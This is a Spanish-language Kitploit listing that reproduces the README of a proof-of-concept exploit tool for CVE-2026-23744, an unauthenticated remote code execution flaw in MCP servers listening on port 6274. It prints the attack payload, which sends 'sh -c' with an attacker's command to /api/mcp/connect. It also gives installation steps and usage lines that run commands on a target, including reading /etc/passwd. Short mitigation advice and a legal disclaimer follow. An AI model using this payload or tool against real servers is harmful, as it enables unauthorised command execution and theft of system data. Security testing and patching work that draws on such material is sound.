Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/d3vn0mi/cve-2026-23744-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubd3vn0mi/cve-2026-23744-poc

CVE-2026-23744-POC

Python PoC para CVE-2026-23744, RCE no autenticado en servidores MCP a través del campo de comando serverConfig de /api/mcp/connect (puerto predeterminado 6274)

Ver Repositorio
20hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-23744 — RCE no autenticado en servidores MCP

Prueba de concepto (PoC) por d3vn0mi

Resumen

CVE-2026-23744 es una vulnerabilidad de Ejecución Remota de Código (RCE) no autenticada en servidores compatibles con MCP expuestos en el puerto 6274. El endpoint /api/mcp/connect acepta un objeto serverConfig que permite a los llamadores especificar un comando del sistema operativo y argumentos arbitrarios — sin ninguna comprobación de autenticación o autorización.

Un atacante con acceso de red al servicio puede ejecutar comandos arbitrarios como el usuario que ejecuta el servidor MCP.

DetalleValor
ID CVECVE-2026-23744
TipoEjecución Remota de Código no autenticada
EndpointPOST /api/mcp/connect
Puerto6274 (por defecto)
SeveridadCrítica

Payload vulnerable

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<COMANDO_DEL_ATACANTE>"],
    "env": {}
  },
  "serverId": "anything"
}

El servidor ejecuta el command proporcionado con los args dados sin saneamiento ni control de acceso.

Instalación

git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

Uso

# Uso básico
python3 exploit.py -t <IP_OBJETIVO> -c '<COMANDO>'

# Puerto personalizado
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# Omitir la comprobación de alcance
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# ID de servidor personalizado
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

Opciones

FlagDescripción
-t, --targetIP o nombre de host objetivo (obligatorio)
-c, --commandComando del sistema a ejecutar (obligatorio)
-p, --portPuerto objetivo (por defecto: 6274)
-s, --server-idValor de serverId en el payload
--timeoutTiempo de espera de la sonda en segundos (por defecto: 30)
--no-checkOmitir la comprobación inicial de alcance

Mitigación

  • No exponga el servidor MCP a redes no confiables.
  • Aplique los parches del proveedor tan pronto como estén disponibles.
  • Restrinja el acceso al endpoint /api/mcp/connect mediante autenticación y controles a nivel de red.
  • Supervise la aparición de procesos inesperados desde el proceso del servidor MCP.

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido. Obtenga siempre la autorización adecuada antes de realizar pruebas.

Licencia

Este proyecto está licenciado bajo la Licencia MIT.

Autor

d3vn0mi — github.com/d3vn0mi

Descargar herramienta